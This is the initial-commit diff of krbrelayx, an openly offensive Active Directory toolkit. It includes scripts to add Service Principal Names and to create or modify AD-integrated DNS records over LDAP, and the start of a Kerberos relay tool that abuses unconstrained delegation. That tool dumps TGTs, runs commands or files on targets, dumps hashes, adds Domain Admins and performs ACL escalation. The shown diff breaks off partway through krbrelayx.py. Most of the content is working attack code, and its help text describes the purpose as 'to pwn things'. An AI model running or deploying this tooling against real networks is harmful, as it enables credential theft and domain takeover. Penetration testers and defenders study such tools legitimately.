Initial commit

This commit is contained in:
Dirk-jan Mollema committed 2019-02-18 21:20:07 +01:00
commit 0286ffa59c
19 files changed
+2945

No files matched your search

+4
View File
@@ -0,0 +1,4 @@
build/
*.egg-info
dist/
*.pyc
+21
View File
@@ -0,0 +1,21 @@
The MIT License (MIT)
Copyright (c) 2019 Dirk-jan Mollema (@_dirkjan)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+22
View File
@@ -0,0 +1,22 @@
# Krbrelayx - Unconstrained delegation abuse toolkit
Toolkit for abusing unconstrained delegation.
Requires [impacket](https://github.com/SecureAuthCorp/impacket) and [ldap3](https://github.com/cannatag/ldap3) to function.
It is recommended to install impacket from git directly to have the latest version available.
More info about this toolkit available in my blog <https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/>
# Tools included
## addspn.py
This tool can add/remove/modify Service Principal Names on accounts in AD over LDAP.
## dnstool.py
Add/modify/delete Active Directory Integrated DNS records via LDAP.
## krbrelayx.py
Given an account with unconstrained delegation privileges, dump Kerberos TGT's of users connecting to hosts similar to ntlmrelayx.
### TODO:
- Specifying SMB as target is not yet complete, it's recommended to run in export mode and then use secretsdump with `-k`
- Conversion tool from/to ccache/kirbi
- SMB1 support in the SMB relay server
+144
View File
@@ -0,0 +1,144 @@
#!/usr/bin/env python
####################
#
# Copyright (c) 2019 Dirk-jan Mollema (@_dirkjan)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
#
# Add an SPN to a user/computer account via LDAP
#
####################
import sys
import argparse
import ldapdomaindump
import random
import string
import getpass
from ldap3 import NTLM, Server, Connection, ALL
import ldap3
from ldap3.protocol.microsoft import security_descriptor_control
def print_m(string):
sys.stderr.write('\033[94m[-]\033[0m %s\n' % (string))
def print_o(string):
sys.stderr.write('\033[92m[+]\033[0m %s\n' % (string))
def print_f(string):
sys.stderr.write('\033[91m[!]\033[0m %s\n' % (string))
def main():
parser = argparse.ArgumentParser(description='Add an SPN to a user/computer account')
parser._optionals.title = "Main options"
parser._positionals.title = "Required options"
#Main parameters
#maingroup = parser.add_argument_group("Main options")
parser.add_argument("host", metavar='HOSTNAME', help="Hostname/ip or ldap://host:port connection string to connect to")
parser.add_argument("-u", "--user", metavar='USERNAME', help="DOMAIN\\username for authentication")
parser.add_argument("-p", "--password", metavar='PASSWORD', help="Password or LM:NTLM hash, will prompt if not specified")
parser.add_argument("-t", "--target", metavar='TARGET', help="Computername or username to target (FQDN or COMPUTER$ name, if unspecified user with -u is target)")
parser.add_argument("-s", "--spn", required=True, metavar='SPN', help="servicePrincipalName to add (for example: http/host.domain.local or cifs/host.domain.local)")
parser.add_argument("-r", "--remove", action='store_true', help="Remove the SPN instead of add it")
parser.add_argument("-q", "--query", action='store_true', help="Show the current target SPNs instead of modifying anything")
parser.add_argument("-a", "--additional", action='store_true', help="Add the SPN via the msDS-AdditionalDnsHostName attribute")
args = parser.parse_args()
#Prompt for password if not set
authentication = None
if args.user is not None:
authentication = NTLM
if not '\\' in args.user:
print_f('Username must include a domain, use: DOMAIN\\username')
sys.exit(1)
if args.password is None:
args.password = getpass.getpass()
controls = security_descriptor_control(sdflags=0x04)
# define the server and the connection
s = Server(args.host, get_info=ALL)
print_m('Connecting to host...')
c = Connection(s, user=args.user, password=args.password, authentication=authentication)
print_m('Binding to host')
# perform the Bind operation
if not c.bind():
print_f('Could not bind with specified credentials')
print_f(c.result)
sys.exit(1)
print_o('Bind OK')
if args.target:
targetuser = args.target
else:
targetuser = args.user.split('\\')[1]
if '.' in targetuser:
search = '(dnsHostName=%s)' % targetuser
else:
search = '(SAMAccountName=%s)' % targetuser
c.search(s.info.other['rootDomainNamingContext'][0], search, controls=controls, attributes=['SAMAccountName', 'servicePrincipalName', 'dnsHostName', 'msds-additionaldnshostname'])
try:
targetobject = c.entries[0]
print_o('Found modification target')
except IndexError:
print_f('Target not found!')
return
from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR
if args.remove:
operation = ldap3.MODIFY_DELETE
else:
operation = ldap3.MODIFY_ADD
if args.query:
# If we only want to query it
print(targetobject)
return
if not args.additional:
c.modify(targetobject.entry_dn, {'servicePrincipalName':[(operation, [args.spn])]})
else:
try:
host = args.spn.split('/')[1]
except IndexError:
# Assume this is the hostname
host = args.spn
c.modify(targetobject.entry_dn, {'msds-additionaldnshostname':[(ldap3.MODIFY_ADD, [host])]})
if c.result['result'] == 0:
print_o('SPN Modified successfully')
else:
if c.result['result'] == 50:
print_f('Could not modify object, the server reports insufficient rights: %s' % c.result['message'])
elif c.result['result'] == 19:
print_f('Could not modify object, the server reports a constrained violation')
if args.additional:
print_f('You either supplied a malformed SPN, or you do not have access rights to add this SPN (Validated write only allows adding SPNs ending on the domain FQDN)')
else:
print_f('You either supplied a malformed SPN, or you do not have access rights to add this SPN (Validated write only allows adding SPNs matching the hostname)')
print_f('To add any SPN in the current domain, use --additional to add the SPN via the msDS-AdditionalDnsHostName attribute')
else:
print_f('The server returned an error: %s' % c.result['message'])
if __name__ == '__main__':
main()
+512
View File
@@ -0,0 +1,512 @@
#!/usr/bin/env python
####################
#
# Copyright (c) 2019 Dirk-jan Mollema (@_dirkjan)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
# Tool to interact with ADIDNS over LDAP
#
####################
import sys
import argparse
import ldapdomaindump
import random
import string
import getpass
import re
from ldap3 import NTLM, Server, Connection, ALL, LEVEL, BASE, MODIFY_DELETE, MODIFY_ADD, MODIFY_REPLACE
import ldap3
from impacket.ldap import ldaptypes
import dns.resolver
import datetime
def print_m(string):
sys.stderr.write('\033[94m[-]\033[0m %s\n' % (string))
def print_o(string):
sys.stderr.write('\033[92m[+]\033[0m %s\n' % (string))
def print_f(string):
sys.stderr.write('\033[91m[!]\033[0m %s\n' % (string))
from struct import unpack, pack
from impacket.structure import Structure
import socket
class DNS_RECORD(Structure):
"""
dnsRecord - used in LDAP
[MS-DNSP] section 2.3.2.2
"""
structure = (
('DataLength', '<H-Data'),
('Type', '<H'),
('Version', 'B=5'),
('Rank', 'B'),
('Flags', '<H=0'),
('Serial', '<L'),
('TtlSeconds', '>L'),
('Reserved', '<L=0'),
('TimeStamp', '<L=0'),
('Data', ':')
)
# Note that depending on whether we use RPC or LDAP all the DNS_RPC_XXXX
# structures use DNS_RPC_NAME when communication is over RPC,
# but DNS_COUNT_NAME is the way they are stored in LDAP.
#
# Since LDAP is the primary goal of this script we use that, but for use
# over RPC the DNS_COUNT_NAME in the structures must be replaced with DNS_RPC_NAME,
# which is also consistent with how MS-DNSP describes it.
class DNS_RPC_NAME(Structure):
"""
DNS_RPC_NAME
Used for FQDNs in RPC communication.
MUST be converted to DNS_COUNT_NAME for LDAP
[MS-DNSP] section 2.2.2.2.1
"""
structure = (
('cchNameLength', 'B-dnsName'),
('dnsName', ':')
)
class DNS_COUNT_NAME(Structure):
"""
DNS_COUNT_NAME
Used for FQDNs in LDAP communication
MUST be converted to DNS_RPC_NAME for RPC communication
[MS-DNSP] section 2.2.2.2.2
"""
structure = (
('Length', 'B-RawName'),
('LabelCount', 'B'),
('RawName', ':')
)
def toFqdn(self):
ind = 0
labels = []
for i in range(self['LabelCount']):
nextlen = unpack('B', self['RawName'][ind])[0]
labels.append(self['RawName'][ind+1:ind+1+nextlen])
ind += nextlen + 1
# For the final dot
labels.append('')
return '.'.join(labels)
class DNS_RPC_NODE(Structure):
"""
DNS_RPC_NODE
[MS-DNSP] section 2.2.2.2.3
"""
structure = (
('wLength', '>H'),
('wRecordCount', '>H'),
('dwFlags', '>L'),
('dwChildCount', '>L'),
('dnsNodeName', ':')
)
class DNS_RPC_RECORD_A(Structure):
"""
DNS_RPC_RECORD_A
[MS-DNSP] section 2.2.2.2.4.1
"""
structure = (
('address', ':'),
)
def formatCanonical(self):
return socket.inet_ntoa(self['address'])
def fromCanonical(self, canonical):
self['address'] = socket.inet_aton(canonical)
class DNS_RPC_RECORD_NODE_NAME(Structure):
"""
DNS_RPC_RECORD_NODE_NAME
[MS-DNSP] section 2.2.2.2.4.2
"""
structure = (
('nameNode', ':', DNS_COUNT_NAME),
)
class DNS_RPC_RECORD_SOA(Structure):
"""
DNS_RPC_RECORD_SOA
[MS-DNSP] section 2.2.2.2.4.3
"""
structure = (
('dwSerialNo', '>L'),
('dwRefresh', '>L'),
('dwRetry', '>L'),
('dwExpire', '>L'),
('dwMinimumTtl', '>L'),
('namePrimaryServer', ':', DNS_COUNT_NAME),
('zoneAdminEmail', ':', DNS_COUNT_NAME)
)
class DNS_RPC_RECORD_NULL(Structure):
"""
DNS_RPC_RECORD_NULL
[MS-DNSP] section 2.2.2.2.4.4
"""
structure = (
('bData', ':'),
)
# Some missing structures here that I skipped
class DNS_RPC_RECORD_NAME_PREFERENCE(Structure):
"""
DNS_RPC_RECORD_NAME_PREFERENCE
[MS-DNSP] section 2.2.2.2.4.8
"""
structure = (
('wPreference', '>H'),
('nameExchange', ':', DNS_COUNT_NAME)
)
# Some missing structures here that I skipped
class DNS_RPC_RECORD_AAAA(Structure):
"""
DNS_RPC_RECORD_AAAA
[MS-DNSP] section 2.2.2.2.4.17
"""
structure = (
('ipv6Address', '16s'),
)
class DNS_RPC_RECORD_SRV(Structure):
"""
DNS_RPC_RECORD_SRV
[MS-DNSP] section 2.2.2.2.4.18
"""
structure = (
('wPriority', '>H'),
('wWeight', '>H'),
('wPort', '>H'),
('nameTarget', ':', DNS_COUNT_NAME)
)
class DNS_RPC_RECORD_TS(Structure):
"""
DNS_RPC_RECORD_TS
[MS-DNSP] section 2.2.2.2.4.23
"""
structure = (
('entombedTime', '<Q'),
)
def toDatetime(self):
microseconds = self['entombedTime'] / 10.
return datetime.datetime(1601,1,1) + datetime.timedelta(microseconds=microseconds)
def get_dns_zones(connection, root):
connection.search(root, '(objectClass=dnsZone)', search_scope=LEVEL, attributes=['dc'])
zones = []
for entry in connection.response:
if entry['type'] != 'searchResEntry':
continue
zones.append(entry['attributes']['dc'])
return zones
def get_next_serial(server, zone):
# Create a resolver object
dnsresolver = dns.resolver.Resolver()
# Is our host an IP? In that case make sure the server IP is used
# if not assume lookups are working already
try:
socket.inet_aton(server)
dnsresolver.nameservers = [server]
except socket.error:
pass
res = dnsresolver.query(zone, 'SOA')
for answer in res:
return answer.serial + 1
def ldap2domain(ldap):
return re.sub(',DC=', '.', ldap[ldap.find('DC='):], flags=re.I)[3:]
def print_record(record, ts=False):
try:
rtype = RECORD_TYPE_MAPPING[record['Type']]
except KeyError:
rtype = 'Unsupported'
if ts:
print('Record is tombStoned (inactive)')
print_o('Record entry:')
print(' - Type: %d (%s) (Serial: %d)' % (record['Type'], rtype, record['Serial']))
if record['Type'] == 0:
tstime = DNS_RPC_RECORD_TS(record['Data'])
print(' - Tombstoned at: %s' % tstime.toDatetime())
# A record
if record['Type'] == 1:
address = DNS_RPC_RECORD_A(record['Data'])
print(' - Address: %s' % address.formatCanonical())
# NS record or CNAME record
if record['Type'] == 2 or record['Type'] == 5:
address = DNS_RPC_RECORD_NODE_NAME(record['Data'])
# address.dump()
print(' - Address: %s' % address['nameNode'].toFqdn())
# SRV record
if record['Type'] == 33:
record_data = DNS_RPC_RECORD_SRV(record['Data'])
# record_data.dump()
print(' - Priority: %d' % record_data['wPriority'])
print(' - Weight: %d' % record_data['wWeight'])
print(' - Port: %d' % record_data['wPort'])
print(' - Name: %s' % record_data['nameTarget'].toFqdn())
# SOA record
if record['Type'] == 6:
record_data = DNS_RPC_RECORD_SOA(record['Data'])
# record_data.dump()
print(' - Serial: %d' % record_data['dwSerialNo'])
print(' - Refresh: %d' % record_data['dwRefresh'])
print(' - Retry: %d' % record_data['dwRetry'])
print(' - Expire: %d' % record_data['dwExpire'])
print(' - Minimum TTL: %d' % record_data['dwMinimumTtl'])
print(' - Primary server: %s' % record_data['namePrimaryServer'].toFqdn())
print(' - Zone admin email: %s' % record_data['zoneAdminEmail'].toFqdn())
def new_record(rtype, serial):
nr = DNS_RECORD()
nr['Type'] = rtype
nr['Serial'] = serial
nr['TtlSeconds'] = 180
# From authoritive zone
nr['Rank'] = 240
return nr
def print_operation_result(result):
if result['result'] == 0:
print_o('LDAP operation completed successfully')
return True
else:
print_f('LDAP operation failed. Message returned from server: %s %s' % (result['description'], result['message']))
return False
RECORD_TYPE_MAPPING = {
0: 'ZERO',
1: 'A',
2: 'NS',
5: 'CNAME',
6: 'SOA',
33: 'SRV'
}
def main():
parser = argparse.ArgumentParser(description='Query/modify DNS records for Active Directory integrated DNS via LDAP')
parser._optionals.title = "Main options"
parser._positionals.title = "Required options"
#Main parameters
#maingroup = parser.add_argument_group("Main options")
parser.add_argument("host", type=str,metavar='HOSTNAME',help="Hostname/ip or ldap://host:port connection string to connect to")
parser.add_argument("-u","--user",type=str,metavar='USERNAME',help="DOMAIN\\username for authentication.")
parser.add_argument("-p","--password",type=str,metavar='PASSWORD',help="Password or LM:NTLM hash, will prompt if not specified")
parser.add_argument("--forest", action='store_true', help="Search the ForestDnsZones instead of DomainDnsZones")
parser.add_argument("--zone", help="Zone to search in (if different than the current domain)")
parser.add_argument("--print-zones", action='store_true', help="Only query all zones on the DNS server, no other modifications are made")
recordopts = parser.add_argument_group("Record options")
recordopts.add_argument("-r", "--record", type=str, metavar='TARGETRECORD', help="Record to target (FQDN)")
recordopts.add_argument("-a",
"--action",
choices=['add', 'modify', 'query', 'remove', 'ldapdelete'],
default='query',
help="Action to perform. Options: add (add a new record), modify ("
"modify an existing record), query (show existing), remove (mark record "
"for cleanup from DNS cache), delete (delete from LDAP). Default: query"
)
recordopts.add_argument("-t", "--type", choices=['A'], default='A', help="Record type to add (Currently only A records supported)")
recordopts.add_argument("-d", "--data", metavar='RECORDDATA', help="Record data (IP address)")
recordopts.add_argument("--allow-multiple", action='store_true', help="Allow multiple A records for the same name")
recordopts.add_argument("--ttl", type=int, default=180, help="TTL for record (default: 180)")
args = parser.parse_args()
#Prompt for password if not set
authentication = None
if args.user is not None:
authentication = NTLM
if not '\\' in args.user:
print_f('Username must include a domain, use: DOMAIN\\username')
sys.exit(1)
if args.password is None:
args.password = getpass.getpass()
# define the server and the connection
s = Server(args.host, get_info=ALL)
print_m('Connecting to host...')
c = Connection(s, user=args.user, password=args.password, authentication=authentication)
print_m('Binding to host')
# perform the Bind operation
if not c.bind():
print_f('Could not bind with specified credentials')
print_f(c.result)
sys.exit(1)
print_o('Bind OK')
domainroot = s.info.other['defaultNamingContext'][0]
if args.forest:
dnsroot = 'CN=MicrosoftDNS,DC=ForestDnsZones,%s' % domainroot
else:
dnsroot = 'CN=MicrosoftDNS,DC=DomainDnsZones,%s' % domainroot
if args.print_zones:
zones = get_dns_zones(c, dnsroot)
if len(zones) > 0:
print_m('Found %d domain DNS zones:' % len(zones))
for zone in zones:
print(' %s' % zone)
# TODO: Should this be the root domain?
forestroot = 'CN=MicrosoftDNS,DC=ForestDnsZones,%s' % s.info.other['rootDomainNamingContext'][0]
zones = get_dns_zones(c, forestroot)
if len(zones) > 0:
print_m('Found %d forest DNS zones:' % len(zones))
for zone in zones:
print(' %s' % zone)
return
target = args.record
if args.zone:
zone = args.zone
else:
# Default to current domain
zone = ldap2domain(domainroot)
if target.lower().endswith(zone.lower()):
target = target[:-(len(zone)+1)]
searchtarget = 'DC=%s,%s' % (zone, dnsroot)
# print s.info.naming_contexts
c.search(searchtarget, '(&(objectClass=dnsNode)(name=%s))' % ldap3.utils.conv.escape_filter_chars(target), attributes=['dnsRecord','dNSTombstoned','name'])
targetentry = None
for entry in c.response:
if entry['type'] != 'searchResEntry':
continue
targetentry = entry
# Check if we have the required data
if args.action in ['add', 'modify', 'remove'] and not args.data:
print_f('This operation requires you to specify record data with --data')
return
# Check if we need the target record to exists, and if yes if it does
if args.action in ['modify', 'remove', 'delete', 'query'] and not targetentry:
print_f('Target record not found!')
return
if args.action == 'query':
print_o('Found record %s' % targetentry['attributes']['name'])
for record in targetentry['raw_attributes']['dnsRecord']:
dr = DNS_RECORD(record)
# dr.dump()
print targetentry['dn']
print_record(dr, targetentry['attributes']['dNSTombstoned'])
continue
elif args.action == 'add':
# Only A records for now
addtype = 1
# Entry exists
if targetentry:
if not args.allow_multiple:
for record in targetentry['raw_attributes']['dnsRecord']:
dr = DNS_RECORD(record)
if dr['Type'] == 1:
address = DNS_RPC_RECORD_A(dr['Data'])
print_f('Record already exists and points to %s. Use --action modify to overwrite or --allow-multiple to override this' % address.formatCanonical())
return False
# If we are here, no A records exists yet
record = new_record(addtype, get_next_serial(args.host, zone))
record['Data'] = DNS_RPC_RECORD_A()
record['Data'].fromCanonical(args.data)
print_m('Adding extra record')
c.modify(targetentry['dn'], {'dnsRecord': [(MODIFY_ADD, record.getData())]})
print_operation_result(c.result)
else:
node_data = {
'objectCategory': 'CN=Dns-Node,CN=Schema,CN=Configuration,%s' % domainroot,
'dNSTombstoned': False,
'name': target
}
record = new_record(addtype, get_next_serial(args.host, zone))
record['Data'] = DNS_RPC_RECORD_A()
record['Data'].fromCanonical(args.data)
record_dn = 'DC=%s,%s' % (target, searchtarget)
node_data['dnsRecord'] = [record.getData()]
print_m('Adding new record')
c.add(record_dn, ['top', 'dnsNode'], node_data)
print_operation_result(c.result)
elif args.action == 'modify':
# Only A records for now
addtype = 1
# We already know the entry exists
targetrecord = None
records = []
for record in targetentry['raw_attributes']['dnsRecord']:
dr = DNS_RECORD(record)
if dr['Type'] == 1:
targetrecord = dr
else:
records.append(record)
if not targetrecord:
print_f('No A record exists yet. Use --action add to add it')
targetrecord['Serial'] = get_next_serial(args.host, zone)
targetrecord['Data'] = DNS_RPC_RECORD_A()
targetrecord['Data'].fromCanonical(args.data)
records.append(targetrecord.getData())
print_m('Modifying record')
c.modify(targetentry['dn'], {'dnsRecord': [(MODIFY_REPLACE, records)]})
print_operation_result(c.result)
elif args.action == 'remove':
addtype = 0
if len(targetentry['raw_attributes']['dnsRecord']) > 1:
print_m('Target has multiple records, removing the one specified')
targetrecord = None
for record in targetentry['raw_attributes']['dnsRecord']:
dr = DNS_RECORD(record)
if dr['Type'] == 1:
tr = DNS_RPC_RECORD_A(dr['Data'])
if tr.formatCanonical() == args.data:
targetrecord = record
if not targetrecord:
print_f('Could not find a record with the specified data')
return
c.modify(targetentry['dn'], {'dnsRecord': [(MODIFY_DELETE, targetrecord)]})
print_operation_result(c.result)
else:
print_m('Target has only one record, tombstoning it')
diff = datetime.datetime.today() - datetime.datetime(1601,1,1)
tstime = int(diff.total_seconds()*10000)
# Add a null record
record = new_record(addtype, get_next_serial(args.host, zone))
record['Data'] = DNS_RPC_RECORD_TS()
record['Data']['entombedTime'] = tstime
c.modify(targetentry['dn'], {'dnsRecord': [(MODIFY_REPLACE, [record])],
'dNSTombstoned': [(MODIFY_REPLACE, True)]})
print_operation_result(c.result)
if __name__ == '__main__':
main()
Executable
+243
View File
@@ -0,0 +1,243 @@
#!/usr/bin/env python
####################
#
# Copyright (c) 2018 Dirk-jan Mollema (@_dirkjan)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
####################
#
# This tool is based on ntlmrelayx, part of Impacket
# Copyright (c) 2013-2018 SecureAuth Corporation
#
# Impacket is provided under under a slightly modified version
# of the Apache Software License.
# See https://github.com/SecureAuthCorp/impacket/blob/master/LICENSE
# for more information.
#
#
# Ntlmrelayx authors:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
#
import argparse
import sys
import binascii
import logging
from threading import Thread
from impacket import version
from impacket.examples import logger
from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS
from lib.servers import SMBRelayServer, HTTPKrbRelayServer
from lib.utils.config import KrbRelayxConfig
from lib.utils.targetsutils import TargetsProcessor, TargetsFileWatcher
RELAY_SERVERS = ( SMBRelayServer, HTTPKrbRelayServer )
def stop_servers(threads):
todelete = []
for thread in threads:
if isinstance(thread, RELAY_SERVERS):
thread.server.shutdown()
todelete.append(thread)
# Now remove threads from the set
for thread in todelete:
threads.remove(thread)
del thread
def main():
def start_servers(options, threads):
for server in RELAY_SERVERS:
#Set up config
c = KrbRelayxConfig()
c.setProtocolClients(PROTOCOL_CLIENTS)
c.setTargets(targetSystem)
c.setExeFile(options.e)
c.setCommand(options.c)
c.setEnumLocalAdmins(options.enum_local_admins)
c.setEncoding(codec)
c.setMode(mode)
c.setAttacks(PROTOCOL_ATTACKS)
c.setLootdir(options.lootdir)
try:
c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.escalate_user)
except TypeError:
# Newer version of ntlmrelayx has extra arguments
c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user)
c.setIPv6(options.ipv6)
c.setWpadOptions(options.wpad_host, options.wpad_auth_num)
c.setSMB2Support(not options.no_smb2support)
c.setInterfaceIp(options.interface_ip)
if options.krbhexpass and not options.krbpass:
c.setAuthOptions(options.aesKey, options.hashes, options.dc_ip, binascii.unhexlify(options.krbhexpass), options.krbsalt, True)
else:
c.setAuthOptions(options.aesKey, options.hashes, options.dc_ip, options.krbpass, options.krbsalt, False)
c.setKrbOptions(options.format)
#If the redirect option is set, configure the HTTP server to redirect targets to SMB
if server is HTTPKrbRelayServer and options.r is not None:
c.setMode('REDIRECT')
c.setRedirectHost(options.r)
s = server(c)
s.start()
threads.add(s)
return c
# Init the example's logger theme
logger.init()
#Parse arguments
parser = argparse.ArgumentParser(add_help=False,
description="Kerberos \"relay\" tool. Abuses accounts with unconstrained "
"delegation to pwn things.")
parser._optionals.title = "Main options"
#Main arguments
parser.add_argument("-h", "--help", action="help", help='show this help message and exit')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-t', "--target", action='store', metavar = 'TARGET', help='Target to attack, '
'since this is Kerberos, only HOSTNAMES are valid. Example: smb://server:445 If unspecified, will store tickets for later use.')
parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or '
'full URL, one per line')
parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list '
'automatically (only valid with -tf)')
# Interface address specification
parser.add_argument('-ip', '--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to '
'bind SMB and HTTP servers',default='')
parser.add_argument('-r', action='store', metavar='SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER')
parser.add_argument('-l', '--lootdir', action='store', type=str, required=False, metavar='LOOTDIR', default='.', help='Loot '
'directory in which gathered loot (TGTs or dumps) will be stored (default: current directory).')
parser.add_argument('-f', '--format', default='ccache', choices=['ccache', 'kirbi'], action='store',help='Format to store tickets in. Valid: ccache (Impacket) or kirbi'
' (Mimikatz format) default: ccache')
parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
'"%s"). If errors are detected, run chcp.com at the target, '
'map the result with '
'https://docs.python.org/2.4/lib/standard-encodings.html and then execute ntlmrelayx.py '
'again with -codec and the corresponding codec ' % sys.getdefaultencoding())
parser.add_argument('-no-smb2support', action="store_false", default=False, help='Disable SMB2 Support')
parser.add_argument('-wh', '--wpad-host', action='store', help='Enable serving a WPAD file for Proxy Authentication attack, '
'setting the proxy host to the one supplied.')
parser.add_argument('-wa', '--wpad-auth-num', action='store', help='Prompt for authentication N times for clients without MS16-077 installed '
'before serving a WPAD file.')
parser.add_argument('-6', '--ipv6', action='store_true', help='Listen on both IPv6 and IPv4')
# Authentication arguments
group = parser.add_argument_group('Kerberos Keys (of your account with unconstrained delegation)')
group.add_argument('-p', '--krbpass', action="store", metavar="PASSWORD", help='Account password')
group.add_argument('-hp', '--krbhexpass', action="store", metavar="HEXPASSWORD", help='Hex-encoded password')
group.add_argument('-s', '--krbsalt', action="store", metavar="USERNAME", help='Case sensitive (!) salt. Used to calculate Kerberos keys.'
'Only required if specifying password instead of keys.')
group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
#SMB arguments
smboptions = parser.add_argument_group("SMB attack options")
smboptions.add_argument('-e', action='store', required=False, metavar='FILE', help='File to execute on the target system. '
'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)')
smboptions.add_argument('-c', action='store', type=str, required=False, metavar='COMMAND', help='Command to execute on '
'target system. If not specified, hashes will be dumped (secretsdump.py must be in the same '
'directory).')
smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)')
#LDAP options
ldapoptions = parser.add_argument_group("LDAP attack options")
ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information')
ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin')
ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks')
ldapoptions.add_argument('--no-validate-privs', action='store_false', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks')
ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one')
try:
options = parser.parse_args()
except Exception as e:
logging.error(str(e))
sys.exit(1)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)
# Let's register the protocol clients we have
# ToDo: Do this better somehow
from lib.clients import PROTOCOL_CLIENTS
if options.codec is not None:
codec = options.codec
else:
codec = sys.getdefaultencoding()
if options.target is not None:
logging.info("Running in attack mode to single host")
mode = 'ATTACK'
targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS)
else:
if options.tf is not None:
#Targetfile specified
logging.info("Running in attack mode to hosts in targetfile")
